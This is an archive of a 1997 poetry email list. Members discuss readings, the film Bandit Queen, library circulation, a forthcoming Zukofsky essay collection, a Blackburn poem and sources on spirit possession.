> I suppose I'll add to what seems to be really a new kind of genre, the
> reading witness reportage, which, if this list did not invent, surely it
> gave it sustenance.
>
..

this was a terrific review josh, of writers who (for once) i know something about and it's so nice to read of them thru you/the list. a year ago i knew lee ann but not steve and jennifer; steve i met thru his indeed tour de force o'hara paper and then i met jennifer but just a week ago received imagination verses in the mail from spd. what a treat. also having met you and shawn and al f at the

writers' house last yr i had a warm memory...sorry to get so sentimental all, but january is over and that is a moment of great feeling and rejoicing in minnesota. the sun is out for dramatically longer each successive week, and life is percolating under the three feet of snow... md

↑ Index

84. maria damon

Re: MUTILATE THIS THREAD: Re: gun controls

Mon 3 Feb 1997

In message <[redacted]> UB
Poetics discussion group writes:
> or REMEMBER NON-OBJECTIVE VIOLENT ENTITIES which is something I'm dealing
> with on the fop-l list at the moment...
>
> Alan

what's fop-l, o jennifer of my heart?
>
> http://jefferson.village.virginia.edu/~spoons/internet_txt.html
> images: http://www.cs.unca.edu/~davidson/pix/
> Tel. [redacted] CuSeeMe: 166.84.250.149
>

↑ Index

85. Sylvester Pollet

Mitch Goodman

Mon 3 Feb 1997

Sad news from Maine. Mitchell Goodman died Saturday at his home in Temple, Maine, of pancreatic cancer. Poet, novelist, anti-war activist all his life. He was 73, and when I saw him last, at the Poets of the 1950s conference in Orono in June, he was full of life. We exchanged books & had a good talk. Here's a poem from his book More Light: Selected Poems (Dog Ear Press 1989).

Circles within Circles

That's how it goes: the old man
who understands it all in the end
dies and in the same moment a new one
in the same form comes pushing up
out of the wet earth
crying out in surprise.

Sylvester Pollet

Backwoods Broadsides
RR 5 Box 3630
Ellsworth ME
04605-9529

National Poetry Foundation
Room 302
5752 Neville Hall
University of Maine
Orono ME 04469-5752

http://www.ume.maine.edu/~npf/

↑ Index

86. **maria damon**

Re: notley, epic / (Bandit Queen?)

Mon 3 Feb 1997

In message <[redacted]> UB Poetics discussion
group writes:
> On Mon, 3 Feb 1997 12:10:51 +1300,
> dpsalmon wrote --
>
> > . . . There are also heaps of Indian & Chinese films that 'use'
> > a woman's perspective to entertain audiences in epic surroundings.
> >
..
>
> the rather recent, lovely film BANDIT QUEEN comes to mind as one to
> consider -- not all too sure abt. female perspective in that per se,
> would need to see it again -- also, as for epic? hmmm, certainly an
> action film w/ some epic dimension (not to mention killer music) --
>
> the film, as you perhaps know, is based on the real-life tale
> of Phoolan Devi, who became a popular Bonnie w/o Clyde sorta
> bandit-heroine in local mythology of 1980s Maharashtra, India (before
> she was captured & jailed, as depicted in the film). Her violent
> & sexual mistreatment in early life -- and her "heroic struggle"
> against both gender and caste strictures -- to become (as noted) a
> kind of queen of the bandits -- are all integral to the tale --
>
> d.i.
>
this film has been the subject of much controversy, including an attempt on
phoolan devi's part to suppress it, as it does her sense of her own story a
disservice. if i were going to teach this film, i'd familiarize myself w/ this

controversy so i'd have some sense of whether or not i was violating the subject's wishes. one of my students who is working on hindi film, gender, and censorship followed this pretty closely, and ended up wishing that she had not seen the movie, which, even before the controversy,, she found voyeuristic and sensationalistic. having not seen it myself i can't comment, but thought it important to pass on word of its controversy. -md

↑ Index

87. **maria damon**

Re: notley, epic / (Bandit Queen?)

Mon 3 Feb 1997

---

just to continue on this thread, i have some discomfort with the wording of your sentiments, which i take overall as expressing the kinds of concerns i brought up in my last post --namely, "indian audiences were not able to cope w/ the graphic sex of it, so i think it failed to reach a sector of its potential audience that could have benefited from a discussion of it..." it sounds kinda, a little, like,...patronizing, as if indian audiences fell down on their job of spectator and thus the movie failed to "enlighten" those who "most needed it" or some such. the "civilizing mission" foiled thru the backwardness of the Other. etc. this post isnt hostilely or "policingly" intended. just sharing my impressions.

In message <[redacted]> UB Poetics discussion group
writes:
> Yeah, i should have thought of that. I think she has just been arrested for
> something. Although i am glad films like that are made i don't know that i
> would call it 'lovely'. It's interestingly problematic though, euro
> audiences seemed to lap it up, while Indian audiences (well middleage & up)
> were not able to cope with the graphic sex of it, so i think it failed to
> reach a sector of it's potential audience that could have benefited from
> discussion of it - that's in this country anyway. I couldn't speak for
> anywhere else (can't actually speak for anything outside my personal
> contacts)
>
> anyway,
>
> dan
>
> >the rather recent, lovely film BANDIT QUEEN comes to mind as one to
> >consider -- not all too sure abt. female perspective in that per se,
> >would need to see it again -- also, as for epic? hmmm, certainly an
> >action film w/ some epic dimension (not to mention killer music) --
> >

> >the film, as you perhaps know, is based on the real-life tale
> >of Phoolan Devi, who became a popular Bonnie w/o Clyde sorta
> >bandit-heroine in local mythology of 1980s Maharashtra, India (before
> >she was captured & jailed, as depicted in the film). Her violent
> >& sexual mistreatment in early life -- and her "heroic struggle"
> >against both gender and caste strictures -- to become (as noted) a
> >kind of queen of the bandits -- are all integral to the tale --
> >
> >d.i.
> >
> >
>

↑ Index

88. **maria damon**
Re: definitions/epics
Mon 3 Feb 1997

---

bromovich writes:
> Ah, thats better. just cleared my computer of shrum virush oopsh. . . lets
> try again. yeah, thats fixed it.
>
> the reason i'm feeling so good, good and silly, is that the group i'm with,
> who have brought a lawsuit to make the city council appear in court to
>etc

hey db yr a cool guy. i'm sorry i laughed at your red suspenders and silly facial hair two years ago...md

↑ Index

89. **maria damon**
Re: definitions/epics
Mon 3 Feb 1997

In message <[redacted]> UB Poetics
discussion group writes:
> A marinated town ...

hey, some of us like our seaports!
i better shut up feel like im cruisn for a bruisn here...
md

↑ Index

90. maria damon
hebronix/poetix
Mon 3 Feb 1997

> *Sheesh, and here I always thought epic was a poetic genre.*
>
> *Mike*
> [redacted]

epic
shmepic

↑ Index

91. maria damon
hebronix/poetix 2
Mon 3 Feb 1997

> *Sheesh, and here I always thought epic was a poetic genre.*
>
> *Mike*
> [redacted]

an allegory of brith, i mean birth:

there's an epic
in your pupik.

↑ Index

92. F.A. Templeton
Re: possession/spirit POETICS Digest - 30 Jan 1997 to 31 Jan 1997
Mon 3 Feb 1997

From a performance angle as well as textual:
Try Maya Deren's films and writings. And L.A. performance artist Rachel Rosenthal.

Also do some research into how artist Matt Mullican came up with his world of signs (he WENT there, hypnotised in performance). His accounts of how he got to that stage are a wonderful performanec too; my favorite part was when he looked at three drawings of stick figures, one on a blank page, one (I think) standing on a line, and one in a corner (3 lines behind); and he asked himself, "which stick figure can feel pain most?" The answer, to everyone present as well as to him, was the one in the corner. Dimensionality.

And Nathaniel Mackey re possession/performance in Bedouin Hornbook etc.

Jeff Nuttall actually changed my life with a fake lecture on possession in the very early 70s, whatever fake means.

And what about Freud's performing hysterics?

Fiona Templeton

↑ Index

93. Aldon L. Nielsen
Re: allegories of berth
Mon 3 Feb 1997

I'd always thought "exurb" better applied to those hollowed out areas at the center of most major cities where all that we value in the urban used to take place, but whose place will next be taken by identical sports palaces and shopping malls once the speculators get the prices down and the tax breaks up --

AND

re: reviews of readings as genre:

for several years I have asked students to write reviews of poetry readings -- the "student-authored" "reading review" appears to have a generic introduction:

"When my professor assigned a poetry reading I didn't expect to enjoy the experience, but much to my surprise poet X captivated me."

At first I thought this simply a transparent effort to captivate the professor's higher grade range -- but it occurs so often that I now think it a measure of just what the students' prior educational experiences have taught them to expect of poetry and poets -- The non-English majors among my students are uniformly surprised to find that they enjoy listening to poetry --

will probably not make it to see all my San Francisco friends at Small Press Traffic this weekend, but will catch Howe's South Bay reading at Stanford -- maybe we can compare notes here afterward --

↑ Index

94. simon
Phoolan Devi
Mon 3 Feb 1997

The film, _Bandit Queen_, is voyeuristic and that's just for starters. It misrepresents/disdains/exploits/uses/licksandspits et al, the individual, the problems, the issues, the time, the location, the sociocultural universe, the economics, the woman, India, and whatever else I've left out.

pah

beth simon

It is not a particularly Indian film, and it is not a film paritcularly about India.

But yes, the sex is graphic.

↑ Index

95. Mark Prejsnar
Re: Getting the word out
Mon 3 Feb 1997

About the copy of In the American Tree that was never checked out: a VERY LARGE number of titles are acquired by research libraries (and to a lesser extent this is true of public libraries as well) that never get checked out. Strange but true. Of course this indicates that there should be a lot more work done on resource sharing, coordinated collection development, inter-library loan, etc. etc. And under the current economic pressures these things are indeed speeding up...(I've been involved with them over the years at a number of libraries). But believe me, research in the library literature shows that such a fate for any given title in a given library, is not statistically unusual. It was not by any means a unique event caused by the unpopularity of non-mainstream poetry!

Mark Prejsnar
Atlanta

↑ Index

96. Mark W Scroggins
Upper Limit Music
Mon 3 Feb 1997

Listfolk:

This is to announce the impending publication (within the week, hopefully) of my edited collection, _Upper Limit Music: The Writing of Louis Zukofsky_, by the University of Alabama Press. The contents are as follows:

Introduction

Cultural Poetics, Political Culture: Zukofsky in the 1930s

1. Between Contact and Exile: Louis Zukofsky's Poetry of Survival, Steve Shoemaker

2. The Revolutionary Word: Louis Zukofsky, _New Masses_, and Political Radicalism in the 1930s, Mark Scroggins

3. Jewish-American Modernism and the Problem of Identity: With Special Reference to the Work of Louis Zukofsky, Norman Finkelstein

4. Zukofsky, Marxism, and American Handicraft, Barry Ahearn

5. Poetry and the Age: Pound, Zukofsky, and the Labor Theory of Value, Alec Marsh

6. "A Precision of Appeal": Louis Zukofsky and the _Index of American Design_, Ira B. Nadel

Toward the Postmodern: Zukofsky's Life of Writing

7. A "no man's land!": Postmodern Citationality in Zukofsky's "Poem beginning 'the'", Ming-Qian Ma
'

8. Writing and Authority in Zukofsky's _Thanks to the Dictionary_, Peter Quartermain

9. The Comedian as the Letter Z: Reading Zukofsky Reading Stevens Reading Zukofsky, P. Michael Campbell

10. "Words Ranging Forms": Patterns of Exchange in Zukofsky's Early Lyrics, Susan Vanderborg

11. From Modernism to Postmodernism: Zukofsky's "A"-12, Burton Hatlen

12. A More Capacious Shoulder: "A"-24, Nonsense, and the Burden of Meaning, Marnie Parsons

13. A Fractal Music: Some Notes on Zukofsky's Flowers, Kent Johnson

(And a cover drawing by Guy Davenport, to boot.) I'm very pleased with the way this project has turned out; there's _something_ here for anyone interested in Zukofsky, I think.

For more information, contact the press at U of Alabama P, Box 870380, Tuscaloosa, AL 35487-0380, or feel free to drop me a line.

Best to all,
Mark Scroggins

↑ Index

97. maria damon
goodman
Mon 3 Feb 1997

---

does anyone have a mailing address for denise levertov? wd it be appropriate to send condolences to an ex-spouse (i don't know the protocol here)?

↑ Index

98. Aldon L. Nielsen
Re: On not checking it out
Mon 3 Feb 1997

Despite the fact that I have made reference in print to the fact of a text's never having been checked out of the UCLA library -- none of us should equate that with the book's not having been read -- PARTICULARLY in research libraries people often use books without removing them FROM the library. This is a practice in my own work -- I'm one of those annoying people who disregard the signs posted by the librarians and reshelve books myself (BUT I DO make sure to shelve them correctly!) --

The one exception -- from time to time our library keeps records of the usage rates of journals they are considering for elimination -- In those instances I not only leave the journal on the reshelving shelf so that my use of it may be tabulated, I go get it several more times so it will be counted again and again --

Aldon (he who considers libraries his own private study) Nielsen

↑ Index

99. maria damon
Re: definitions/epic
Mon 3 Feb 1997

In message <v01540b00af1ba982ade9@[205.138.228.182]> UB Poetics discussion
group writes:
> maria, when did this laughing-at occur? where were we, two years ago? Its
> not that I have a poor memory, or that you are a forgettable person (from
> yr postings, clearly not), but its just that its my mission to make people
> laugh, and quite a number have laughed at me in recent years. Perhaps i'll
> revive the red suspenders; the facial hair is stuck on real tight. all yrs,
> db
>
i don;'t think i actually laughed at you. i just didn't quite know what to make of you. it ws at mla 2 yrs ago, at the panel on poetries of the isles of california, where ed dorn railed against the "bootlicking fascists of multiculturalism" and i had to get up after that, the unknown and only chick on the panel, and talk about jessica hagedorn, ntozake shange, and the bay area as multicultural heaven. afterward someone (mdavidson?) introduced us. it was myfirst experience w/ the "poetry division" and w/ many of the folks i now know thru poetix list etc.

↑ Index

100. Alan Jen Sondheim
Re: MUTILATE THIS THREAD: Re: gun controls
Mon 3 Feb 1997

Fiction-of-philosophy, a strange list I co-moderate out of Purdue...

Alan

On Mon, 3 Feb 1997, maria damon wrote:

> *In message <[redacted]> UB*
> *Poetics discussion group writes:*
> *or REMEMBER NON-OBJECTIVE VIOLENT ENTITIES which is something I'm dealing*
> *with on the fop-l list at the moment...*
>
> *Alan*
>
> *what's fop-l, o jennifer of my heart?*
>
> *http://jefferson.village.virginia.edu/~spoons/internet_txt.html*
> *images: http://www.cs.unca.edu/~davidson/pix/*
> *Tel. [redacted] CuSeeMe: 166.84.250.149*

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images: http://www.cs.unca.edu/~davidson/pix/
Tel. [redacted] CuSeeMe: 166.84.250.149

↑ Index

101. Wendy Battin
Re: possession/spirit
Mon 3 Feb 1997

Might also check out Mead and Bateson, "Art, Grace, and Style in Primitive Art in Bali." And there's a "modelling" study of French-Canadian actress Viola Legere. I can hunt it down if you're interested; it's a remarkable act of attention. Backchannel, since I'll have to go back to lurk-mode shortly.

Wendy

On Mon, 3 Feb 1997, F.A. Templeton wrote:

> *From a performance angle as well as textual:*
> *Try Maya Deren's films and writings. And L.A. performance artist Rachel Rosenthal.*
>
> *Also do some research into how artist Matt Mullican came up with his world*

> *of signs (he WENT there, hypnotised in performance). His accounts of how he got to that stage are a wonderful performanec too; my favorite part was when he looked at three drawings of stick figures, one on a blank page, one (I think) standing on a line, and one in a corner (3 lines behind); and he asked himself, "which stick figure can feel pain most?" The answer, to everyone present as well as to him, was the one in the corner. Dimensionality.*
>
> *And Nathaniel Mackey re possession/performance in Bedouin Hornbook etc.*
>
> *Jeff Nuttall actually changed my life with a fake lecture on possession in the very early 70s, whatever fake means.*
>
> *And what about Freud's performing hysterics?*
>
> *Fiona Templeton*

Wendy Battin [redacted]
(home) http://camel.conncoll.edu/ccother/wjbat/
(CAPA) http://shain.lib.conncoll.edu/CAPA/capa.html

"It is not the crocodile's job to yell "Watch out for the crocodile!"--Henri Michaux

↑ Index

102. Chris Stroffolino
Blackberry/ Cranburn.....
Mon 3 Feb 1997

TWO QUESTIONS.....

1) Sylvester Pollet---is it the Seeker's hit "I know I'll never find another you?" (from circa 1966) that Blackburn cuts up into a poem? Could you post the poem perhaps? Or is it another song with the same name? (in that sense the title is self-refuting, autotelos, self-reliant, onanism, etc.)

2.) CAN ANYBODY TELL ME what the name of the lead singer of the CRANBERRIES
name is? (this is SERIOUS and it is a question that actually related to poetry. I need to know).
Who knows maybe even the winner may win a date with me?
(but don't let that scare you!)---Chris

↑ Index

103. **Mark W Scroggins**

Upper Limit Music

Mon 3 Feb 1997

Listfolks:

I'm pleased to announce the very imminent (within the next week) publication of my edited collection of essays on Louis Zukofsky, _Upper Limit Music: The Writing of Louis Zukofsky_, by the University of Alabama Press. The contents are as follows:

Introduction

I. Cultural Poetics, Political Culture: Zukofsky in the 1930s

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6. "A Precision of Appeal": Louis Zukofsky and the _Index of American Design_, Ira B. Nadel

II. Toward the Postmodern: Zukofsky's Life of Writing

7. A "no man's land!": Postmodern Citationality in Zukofsky's "Poem beginning 'the'", Ming-Qian Ma

8. Writing and Authority in Zukofsky's _Thanks to the Dictionary_, Peter Quartermain

9. The Comedian as the Letter Z: Reading Zukofsky Reading Stevens Reading Zukofsky, P. Michael Campbell

10. "Words Ranging Forms": Patterns of Exchange in Zukofsky's Early Lyrics, Susan Vanderborg

11. From Modernism to Postmodernism: Zukofsky's "A"-12, Burton Hatlen

12. A More Capacious Shoulder: "A"-24, Nonsense, and the Burden of Meaning, Marnie Parsons

13. A Fractal Music: Some Notes on Zukofsky's Flowers, Kent Johnson

(And a cover drawing by Guy Davenport, to boot.)

You'll recognize many listmates and other acquaintances among the contributors. I'm extremely pleased at how the whole project has turned out; it should be of great interest to anyone with an investment in Zukofsky's work.

For more information, write the University of Alabama Press at Box 870380, Tuscaloosa AL 35487-0380, or drop me a line directly.

Best,
Mark Scroggins

↑ Index

104. David Bromige
meetings
Mon 3 Feb 1997

---

maria, it's beginning to filter back to me . . . twilite zone soundtrack, please . . .but i (I) wasnt on the calif panel, i was on alan golding's brit poetry panel talking abt allan fisher. its funny that mdavidson made this introduction thats elusive to my memory, because he has always maintained that he first met me "coming round a corner" of my house in the country, but i didnt move to the country till 1970, and met md first at his apt in bkly in 68 or 69. but i know this matter of mixing up a striking impression of a person with meeting him for the first time: i "first met" g bowering coming around the corner of brock hall (in whose basement the campus-newspaper staff held chain-smoking contests), and surely that meeting did take place, because i remember him that moment,against that backdrop, pale and shaking and somewhat surly, but he told me once that we met first in creative writing class, playing footsies with the same third party. the first time i met anselm hollo (having corresponded with him slightly a decade before) was when he was visiting san fran, and staying with bob and francie (perelman and shaw). i then lived in sAn fran and bob came by to take me over to meet anselm. i was a little bit the better for wear and began to obsess as bob drove and spoke, that i wd say something dumb when i at last met the great finn. I decided I'd say, "I've wanted to meet you for a long time!" Up the stairs and into the kitchen and there sat hollo, the sunlight falling directly onto his eyes, which were an incredible blue and with almost no pupils, like a cat's. struck by this sight, i cd only stammer "Anselm, it's been a long time!" Anselm, not missing a beat, replied "Eternity." db

↑ Index

105. Charles Alexander
Re: Blackberry/ Cranburn.....
Mon 3 Feb 1997

> *2.) CAN ANYBODY TELL ME what the name of the lead singer of the CRANBERRIES*
> *name is? (this is SERIOUS and it is a question that actually related to*
> *poetry. I need to know).*

Dolores O'Riordan When I once, on the television, saw her in some program on PBS which featured Pavarotti, Bono and The Edge from U2, Michael Bolton, and a few others, Dolores sang Ave Maria. One person listening thought at first that it was Minnie Mouse -- but I think she's actually a very good singer, although true that hers is a fairly thin voice.

> *Who knows maybe even the winner may win a date with me?*
> *(but don't let that scare you!)---Chris*

I'll pass this time, but if you're ever in town . . .

↑ Index

106. Aldon L. Nielsen
Re: Blackwaite/Brathburn
Mon 3 Feb 1997

Not hardly the Seekers -- "There Will Never Be Another You" available in numerous recorded versions -- I like Sarah Vaughan's myself -- Blackburn's version in the Jarolim Collected --

AND

I've just come across ref. to a documentary on Brathwaite's "Mother Poem" -- apparently filmed in Barbados (or videoed))\ A Donette Francis, who is a grad. student at NYU, had something to do with the making of -- Anybody ever seen this or know anything about it?

bewitched, bothered and bewildered,
aldon (who has now exceeded his quota and will post no more today)

↑ Index

107. Matthias Regan
Re: Phoolan Devi
Mon 3 Feb 1997

> *The film, _Bandit Queen_, is voyeuristic and that's just for starters.*
> *It misrepresents/disdains/exploits/uses/licksandspits et al,*
> *the individual, the problems, the issues, the time, the location,*

> *the sociocultural universe, the economics, the woman, India, and*
> *whatever else I've left out.*

I could not agree more.
It was the first film I'd walked out of since "Leaving Las Vegas", which was the first film I'd walked out of since "seven."

Matthias Regan
Northwestern University
Department of Chemistry
Phone: 847/[redacted]

↑ Index

108. Julie Marie Schmid
Re: Blackberry/ Cranburn.....
Mon 3 Feb 1997

The lead singer of the Cranberries is Dolores O'Riordan.

On Mon, 3 Feb 1997, Chris Stroffolino wrote:

> *TWO QUESTIONS.....*
>
> *1) Sylvester Pollet---is it the Seeker's hit "I know I'll never find another you?" (from circa 1966) that Blackburn cuts up into a poem? Could you post the poem perhaps? Or is it another song with the same name? (in that sense the title is self-refuting, autotelos, self-reliant, onanism, etc.)*
>
> *2.) CAN ANYBODY TELL ME what the name of the lead singer of the CRANBERRIES*
> *name is? (this is SERIOUS and it is a question that actually related to poetry. I need to know).*
> *Who knows maybe even the winner may win a date with me?*
> *(but don't let that scare you!)---Chris*

↑ Index

109. Wendy Battin
Re: Phoolan Devi
Mon 3 Feb 1997

> *The film, _Bandit Queen_, is voyeuristic and that's just for starters.*
> *It misrepresents/disdains/exploits/uses/licksandspits et al,*
> *the individual, the problems, the issues, the time, the location,*
> *the sociocultural universe, the economics, the woman, India, and*
> *whatever else I've left out.*
>
> *I could not agree more.*

> *It was the first film I'd walked out of since "Leaving Las Vegas", which was the first film I'd walked out of since "seven."*

Agreed. Woman's p.o.v. my kiester.. Though the last before that I walked out on was a pseudo-hip Demme film. Name escapes me for good reason. Came close to walking out on The English Patient but my s.o. wanted to see it out.

Wendy

↑ Index

110. Pierre Joris
Re: Blackberry/ Cranburn.....
Mon 3 Feb 1997

Chris Stroffolino wrote:
>

> *2.) CAN ANYBODY TELL ME what the name of the lead singer of the CRANBERRIES*
> *name is? (this is SERIOUS and it is a question that actually related to poetry. I need to know).*

Dolores OReardon, or somthing like that, me thinks
--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://writing.upenn.edu/epc/authors/joris/
http://www.albany.edu/~tm0900/nomad.html

Everything that allows men to become rooted, through
values or sentiments, in _one_ time, in _one_ history, in
one language, is the principle of alienation which
constitutes man as privileged in so far as he is what he is,
[...] imprisoning him in contentment with his own reality
and encouraging him to offer it as an example or impose
it as a conquering assertation. -- Maurice Blanchot
==========

↑ Index

111. Mark Weiss
Re: On not checking it out
Mon 3 Feb 1997

Yes, and I often sit on the floor in the stacks for hours after stumbling on a trove of books I know nothing about, sometimes in fields I know nothing about,

because I found my way there in search of the one book that I may need to take home.

At 10:47 AM 2/3/97 -0800, you wrote:
>Despite the fact that I have made reference in print to the fact of a
>text's never having been checked out of the UCLA library -- none of us
>should equate that with the book's not having been read -- PARTICULARLY
>in research libraries people often use books without removing them FROM
>the library. This is a practice in my own work -- I'm one of those
>annoying people who disregard the signs posted by the librarians and
>reshelve books myself (BUT I DO make sure to shelve them correctly!) --
>
>The one exception -- from time to time our library keeps records of the
>usage rates of journals they are considering for elimination -- In those
>instances I not only leave the journal on the reshelving shelf so that my
>use of it may be tabulated, I go get it several more times so it will be
>counted again and again --
>
>Aldon (he who considers libraries his own private study) Nielsen
>
>

↑ Index

112. Christopher Alexander
Re: Getting the word out
Mon 3 Feb 1997

> About the copy of In the American Tree that was never checked out: a VERY
> LARGE number of titles are acquired by research libraries (and to a lesser
> extent this is true of public libraries as well) that never get checked
> out. Strange but true. Of course this indicates that there should be a
> lot more work done on resource sharing, coordinated collection
> development, inter-library loan, etc. etc.
let me just add to Mark's post that an item which is not checked out
of the library is not necessarily going unused. I spend a good deal
of my time (probably too much) reading, strange as it may seem,
right here on the premises--& that includes poetry. in fact, in
light of this discussion, I'm thinking maybe I should check the
buggery things out after all, just to boost their circ statistics.
hell, maybe I'll check them all out, over & over--I could develop a
rotating, year-long schedule, maybe even organize this as a group
activity. see, there is something to be learned from the folks at Dianetics.

c.
..
christopher alexander, etc.
[redacted]
(Marriott Library Computer Systems)

"Or, worse, they will change the point of view
(top becomes bottom, male becomes female, etc etc)
and think, like the [Realists] they are, that they
have changed something."

↑ Index

113. **main**
Re: Phoolan Devi
Mon 3 Feb 1997

---

beth,
what would an 'indian film' be?
isn't all film 'voyeuristic'? all'seeing'?
interestingly, 'voyeurism' implies 'seeing' that's directed _in_ from
the _out_ side, which warps (perverse: 'to turn about').
best, dan featherston

On Mon, 3 Feb 1997 [redacted] wrote:

> *The film, _Bandit Queen_, is voyeuristic and that's just for starters.*
> *It misrepresents/disdains/exploits/uses/licksandspits et al,*
> *the individual, the problems, the issues, the time, the location,*
> *the sociocultural universe, the economics, the woman, India, and*
> *whatever else I've left out.*
>
> *pah*
>
> *beth simon*
>
> *It is not a particularly Indian film, and it is not a film*
> *paritcularly about India.*
>
> *But yes, the sex is graphic.*

↑ Index

114. Sylvester Pollet

Re: Blackberry/ Cranburn.....

Mon 3 Feb 1997

> *TWO QUESTIONS.....*
>
> *1) Sylvester Pollet---is it the Seeker's hit "I know I'll never find another you?" (from circa 1966) that Blackburn cuts up into a poem? Could you post the poem perhaps? Or is it another song with the same name? (in that sense the title is self-refuting, autotelos, self-reliant, onanism, etc.)*
>
> *ONE ANSWER....*

It's true, Paul wrote on all those topics (like self-refuting onanism). I'll try to type the poem, but I'm not sure I can control the spacing, Chris. It's on page 316 of Blackburn's Collected Poems, or send your address & I'll send a copy. Come to think of it, I must have your address somewhere.

Listening to Sonny Rollins at the Five Spot

THERE WILL be many other nights like
be standing here with someone, some
one
someone
some-one
some
some
some
some
some
some
one
there will be other songs
a-nother fall, another--spring, but
there will never be a-noth, noth
anoth
noth
anoth-er
noth-er
noth-er
                Other lips that I may kiss,
but they won't thrill me like
                thrill me like
                like yours
used to

dream a million dreams
but how can they come
when there
never be
a-noth--

(Paul Blackburn, 1964)

Sylvester Pollet

Backwoods Broadsides
RR5 Box 3630
Ellsworth ME
04605-9529
USA

National Poetry Foundation
University of Maine
5752 Neville Hall
Orono, Maine
04469-5752

↑ Index

115. **Tosh**
Re: Blackberry/ Cranburn.....
Mon 3 Feb 1997

> *TWO QUESTIONS.....*
>
> *1) Sylvester Pollet---is it the Seeker's hit "I know I'll never find another you?"*

Wonderful! Billy Fury does a great version of this song.

Tosh Berman
TamTam Books

↑ Index

116. **dbkk**
Re: allegories of berth
Mon 3 Feb 1997

At 9:27 AM -0800 2/3/97, Aldon L. Nielsen wrote:

> *will probably not make it to see all my San Francisco friends at Small Press Traffic this weekend, but will catch Howe's South Bay reading at Stanford -- maybe we can compare notes here afterward --*

This afternoon a man called Small Press Traffic and said, "It says here that you're having Suzy Howe reading at New College. Is that Susan Howe?" And when I told him that is was indeed Susan Howe, he said that it said Suzy Howe in the paper. He added, "This is *terrible*."

I wish I had asked him which paper it was in!

Dodie Bellamy

↑ Index

117. armand schwerner
POSSESSION ETC
Mon 3 Feb 1997

---

on Jan 31, Julie Schmid wrote:

"I'm looking for any suggestions ... re: spirit possession, spirit doctors..." etc.

Julie: a very few suggestions:

1. *Untold Sisters, Hispanic Nuns in their Own Words,* Electa Arenal & Stacey Schlau, U. of New Mexico Press, 1989. Full of remarkable documents.I cite just a very few representative quotes. For example, citations from the Venerable Madre Isabel de Jesus (1586-1648):

"While I was looking at a carved figure of the Most Holy Christ, He beckoned me with His holy head, and looking at me with His eyes, He pointed to the wound in his Most Sacred Rib: He ordered me to enter Him through it, He performed this gesture of love with me, by means of His own portrait."

Arenal/Schlau: "Jesus appears as mother; Isabel sees Him nursing dogs from his engorged breasts.... Madre Isabel explains that Christ's milk-filled breasts are his mercy, but their engorgement (his pain) is a result of his children's refusal to accept his divine word; this refusal is their illness... [Isabel's vision makes] inextricable connections between herself and Jesus through the imagery of his milk of mercy and body-blood..."

2, *Lame Deer, Seeker of Visions*, John Lame Deer and Richard Erdoes, NY:Touchstone, Simon & Shuster, 1972. For instance, from the Chapter on "Looking at the Sun, they Dance.":

"Staring open-eyed at the blazing sun, the blinding rays burning deep into your skull, filling it with unbearable brightness...Many people do not un derstand why we do this. They call the sun dance barbarous, savage, a bloody supersitition. The way I look at it our body is the only thing which truly belongs to us. When we Indians give of our flesh, our bodies, we are giving of the only thing which is ours alone....It is [at acute moments]that the visions occur--visions of becoming a medicine man, visions of the future.... Insights gained at such a price are even greater than those that come to a man on a hilltop during his vision quest; they are truly wakan--sacred."

3. *The Shaman Aningatchaq* by Tom Lowenstein, Shaman's narration presented in transliteration and translation and commented on by Lowenstein

from Tikiraq, Alaska.London: Many Press, 1981 (address: 15 Norcott Rd, London N.16) :

A shaman's anecdote: "In the early days, shamans living on the west side of the village used to visit (in spirit flight) the people who lived on the east side. Once one was travelling in a ball of fire: and when someone strujck a whale's jaw bone, the shaman fell. It was forbidden to touch a whale's jaw wlhile a shaman was flying."

And another: "And once Tigautchialuk (another shaman) was doing "ulimaq" (a practice in which the shaman turns his clothes inside out before flying). He left Tikiraq; he flew off, and when he was near the cliffs, he met someone coming from the south. And the shaman flying from the south made Tigautchialuk's spirit fall to earth. His "inuusiq" (life force) failed, and he died. I don't know where Tigautchialu, was heading. Ulimmaq was something the shamans used to do before spirit flight."

4. *KA PO'E KAHIKO, The People of Old* by Samuel Kamakau, Honolulu:Bishop Museum Press 1964.

"Noha Ana--Medium Possession: Spirits often return and speak through a "maluna," a person who is inspired because he has become possessed "Ma ka uluhia ana mai a noho iluna." Some possessed persons speak crazily. Some speak as inspired prophets "uluhia kaula" or prophesiers "uluhia wanana", some just talk, and some give inspired help. There are many kinds of spirits that help for good and many that aid in evil. Some lie and deceive, and some are truthful; it would not be possible for a man to do these things without the aid of his possessing spirit." [Originally published in Hawaii in 1871.]

Visions and Dreams: Dreams are of two kinds: dreams at the moment of falling asleep "hihi'o"; and dreams in deep sleep "moe 'uhane." A vision, "akaku," is unlike either of these. It is what one sees when one is really awake..."

5.*Le Vodou Haitien* by Louis Maximilien, Port-au-Prince, Haiti:Imprimerie de L'Etat, 1945. "La crise de Loa se developpe sous l'influence de l'idee d'une possession d'un etre humain, par l'esprit d'un dieu." With photos, sketches, presentation of priestly function in detail, ceremonies, rites and the language of rites.

6. *Tales of the Hasidim, the Early Masters* Martin Buber, NY:Shocken 1947.

The Coat

"Whatever the rabbi of Koznits said sounded as if he were praying, only weaker and in a lower voice. He liked to hum to himself proverbs and sayings current among the Polish peasants. After a Purim feast, which he had presided over in

great happiness, he said: 'How right, what the people say: Take off your coat, dear soul, and prance with joy at feast and dance.' But how curious a coat is the body!' Sometimes he even spoke to God in Polish. When he was alone they would hear him say: 'Moj kochanku,' which means 'My darling.' "

Breakthrough: Meister Eckhart's Creation Spirituality in New Translation, by Matthew Fox, with commentaries.Garden City: Image Books, Doubleday, 1980. A big anthology of the Christian mystic whose writings are suggestive of Zen experience and writings.

"You should love God mindlessly, that is, so that your soul is without mind and free from all mental activities, for as long as your soul is operating like a mind, so long does it have images and representations. But as long as it has images, it has intermediaries, and as long as it has intermediaries, it has neither oneness nor simplicity. And therefore your soul should be bare of all mind and should stay there without mind."

↑ Index

118. KYLE CONNER/LRC-CAHS

Re: Blackberry/ Cranburn.....

Mon 3 Feb 1997

Praise to you, Sylvester, for actually typing in a Blackburn poem! And, yes, it seems that you got the spacing right. It never ceases to amaze me how Blackburn's open form immediately captures MY breath and spirit, catches me up in its vitality and freshness of articulation. Isn't this what Blackburn finally mastered--a vitality of articulation? And in doing so, a unique and individualized presentation of truth. Long live Blackburn the Word!

Kyle Conner

↑ Index

119. cloward

Query: Performance and Spirit

Tue 4 Feb 1997

